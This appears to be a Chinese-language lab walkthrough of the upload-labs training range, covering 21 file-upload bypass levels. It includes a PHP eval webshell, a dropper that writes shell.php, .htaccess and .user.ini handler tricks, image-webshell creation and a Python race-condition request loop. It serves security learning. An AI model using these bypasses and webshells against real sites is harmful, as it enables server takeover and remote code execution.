項目地址:https://github.com/c0ny1/upload-labs
Pass-01:在客戶端使用JS進行驗證
1.使用burp將所有JS刪除,再上傳phpinfo.php或者F12刪除JS,再上傳php文件。
然后可以直接上傳php文件,不需要考慮什么了。
上傳成功。
2.繞過JS驗證
先關閉burp的刪除JS選項,重新上傳phpinfo.php,上傳失敗。
重新上傳並使用burp攔截,並將后綴名從jpg改為php。
上傳成功。
Pass-02:MIME-Type驗證
MIME-Type介紹:
MIME(Multipurpose Internet Mail Extensions)多用途互聯網郵件擴展類型。是設定某種擴展名的文件用一種應用程序來打開的方式類型,當該擴展名文件被訪問的時候,瀏覽器會自動使用指定應用程序來打開。多用於指定一些客戶端自定義的文件名,以及一些媒體文件打開方式。
繞過MIME-Type:
上傳成功。
Pass-03:黑名單驗證,后綴名
基於文件后綴名驗證方式的分類:
1、基於白名單驗證:只針對白名單中有的后綴名,文件才能上傳成功。
2、基於黑名單驗證:只針對黑名單中沒有的后綴名,文件才能上傳成功。
這一關禁止.jsp、.php、.asp、.aspx后綴名的文件上傳。
但是可以其他后綴名嘛,例如php1、php2、phtml、php5等等。
注:上傳成功后,文件名會被更改,所以需要查看文件上傳的位置以及文件名。
Pass-04:黑名單驗證,.htaccess
禁止的有點多,但是沒有htaccess。
htaccess文件介紹:
htaccess文件是Apache服務器中的一個配置文件,它負責相關目錄下的網頁配置。通過htaccess文件,可以幫我們實現:網頁301重定向、自定義404錯誤頁面、改變文件擴展名、允許/阻止特定的用戶或者目錄的訪問、禁止目錄列表、配置默認文檔等功能。
其中.htaccess文件內容:
SetHandler application/x-httpd-php
設置當前目錄所有文件都使用PHP解析,那么無論上傳任何文件,只要文件內容符合PHP語言代碼規范,就會被當作PHP執行。不符合則報錯。
創建1.htaccess,並將其上傳:
<FilesMatch "上傳的圖片馬的文件名" SetHandler application/x-httpd-php </FilesMatch>
再上傳圖片馬即可。
Pass-05:黑名單驗證,.user.ini
這一關,先上傳一個以auto_prepend_file=1.gif為內容的.user.ini文件,然后再上傳一個內容為php的一句話的腳本,命名為1.gif,.user.ini文件里面的意思是:所有的php文件都自動包含1.gif文件。.user.ini相當於一個用戶自定義的php.ini。
參考鏈接:csdn
Pass-06:黑名單驗證,大小寫繞過
這一關將htaccess也ban了。
大小寫繞過原理:
Windows系統下,對於文件名中的大小寫不敏感。例如:test.php和TeSt.PHP是一樣的。
Linux系統下,對於文件名中的大小寫敏感。例如:test.php和 TesT.php就是不一樣的。
訪問文件
Pass-07:黑名單驗證,空格繞過
Windows系統下,對於文件名中空格會被作為空處理,程序中的檢測代碼卻不能自動刪除空格。從而繞過黑名單。
針對這樣的情況需要使用Burpsuite階段HTTP請求之后,修改對應的文件名 添加空格。
上傳成功。
Pass-08:黑名單驗證,點號繞過
.號繞過原理:
Windows系統下,文件后綴名最后一個點會被自動去除。
上傳成功
Pass-09:黑名單驗證,::$DATA繞過
特殊符號繞過原理:
Windows系統下,如果上傳的文件名中test.php::$DATA會在服務器上生成一個test.php的文件,其中內容和所上傳文件內容相同,並被解析。
Pass-10:黑名單驗證,點號繞過拼接並繞過前面的兩次過濾
這一關是將文件名進行過濾操作后,將文件名拼接在路徑后面,所以需要繞過前面的首尾去空以及去點。
Pass-11:黑名單驗證,雙寫繞過
這一關是用str_ireplace函數將符合黑名單中的后綴名進行替換為空。所以可以雙寫繞過。
這個匹配是從左往右的匹配,不要雙寫成phphpp,這樣過濾后就成了hpp。
Pass-12:白名單驗證,GET型0x00截斷
這一關,需要php的版本號低於5.3.29,且magic_quotes_gpc為關閉狀態。
Pass-13:白名單驗證,POST型0x00截斷
這一關和Pass-12的區別是,00截斷是用在POST中,且是在二進制中進行修改。因為POST不會像GET那樣對%00進行自動解碼。
Pass-14:圖片馬,文件包含利用
制作圖片馬:
copy 1.jpg/a + 1.txt/b 2.jpg
1.txt中的內容為一句話木馬,1.jpg則是一張圖片。生成的圖片馬是2.jpg。
順利的上傳圖片馬,圖片名會重新命名,所以burp上傳,記得看一下。
利用include.php實現文件包含(自帶有):
<?php /* 本頁面存在文件包含漏洞,用於測試圖片馬是否能正常運行! */ header("Content-Type:text/html;charset=utf-8"); $file = $_GET['file']; if(isset($file)){ include $file; }else{ show_source(__file__); } ?>
蟻劍連接一句話:
Pass-15:圖片馬,文件包含利用
同pass-14,傳一樣的圖片馬就好。
注:這里可能會有一些問題,就是copy制作的圖片馬,制作出來后,圖像是損壞的,那么15關就過不去。所以可以利用winhex之類的工具,講一句話加在圖片的后面。這樣就能過了。
同樣,利用起來還是文件包含。
Pass-16:圖片馬,文件包含
這一關需要開啟php_exif模塊。phpstudy很好打開此模塊。
同前兩關,能過Pass-15的圖片馬就能過這關。
Pass-17:圖片馬加二次渲染
這里使用容易繞過二次渲染的gif文件。現在制作一個gif圖片馬,copy就可以了。也可以winhex制作。
制作后便上傳,發現無法利用。然后將上傳的圖片重新下載下來,放入winhex,進行對比。
可以找到二次渲染后不變的地方,而這個地方就是可以插入一句話的地方。
上傳修改好的圖片馬,蟻劍連接成功。
Pass-18:白名單驗證,條件競爭
這一關是先上傳再判斷,所以實在判斷前就對上傳的文件進行請求。
先創建一個webshell.php,內容為
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["cmd"]) ?>'); ?>
再使用python不斷請求
import requests while 1: requests.get("http://192.168.84.131/upload-labs/upload/webshell.php")
運行python代碼,再開始上傳php文件。
但是這里使用python請求,虛擬機配置不高 很快就gg。
所以改哈這一關的代碼:
重新開始
請求成功,看看是否有shell.php
蟻劍連接成功。
Pass-19:白名單驗證,圖片馬
這一關相比18關,上傳的文件就必須是白名單中的文件。
Pass-19.jpg是包含18關的webshell.php的內容的圖片馬。畢竟是先檢查后綴的。
這里上傳的文件以及生成的shell.php會出現在upload-labs目錄中。
然后再訪問http://ip/upload-labs/include.php?file=./對應的文件名。就可以生成shell.php。
也可以直接上傳14~16關的那種圖片馬,當然也需要知道重新命名后的文件名,再利用文件包含即可。同14~16關差不多,唯一多了一步就是需要確定上傳的文件的文件名以及位置。
Pass-20:黑名單驗證,點號繞過
驗證是否成功。
Pass-21:白名單驗證,數組繞過
參考鏈接:csdn
這一關可以直接像14關那樣,圖片馬,文件包含直接過。
以下是參考的數組繞過
之后蟻劍連接即可。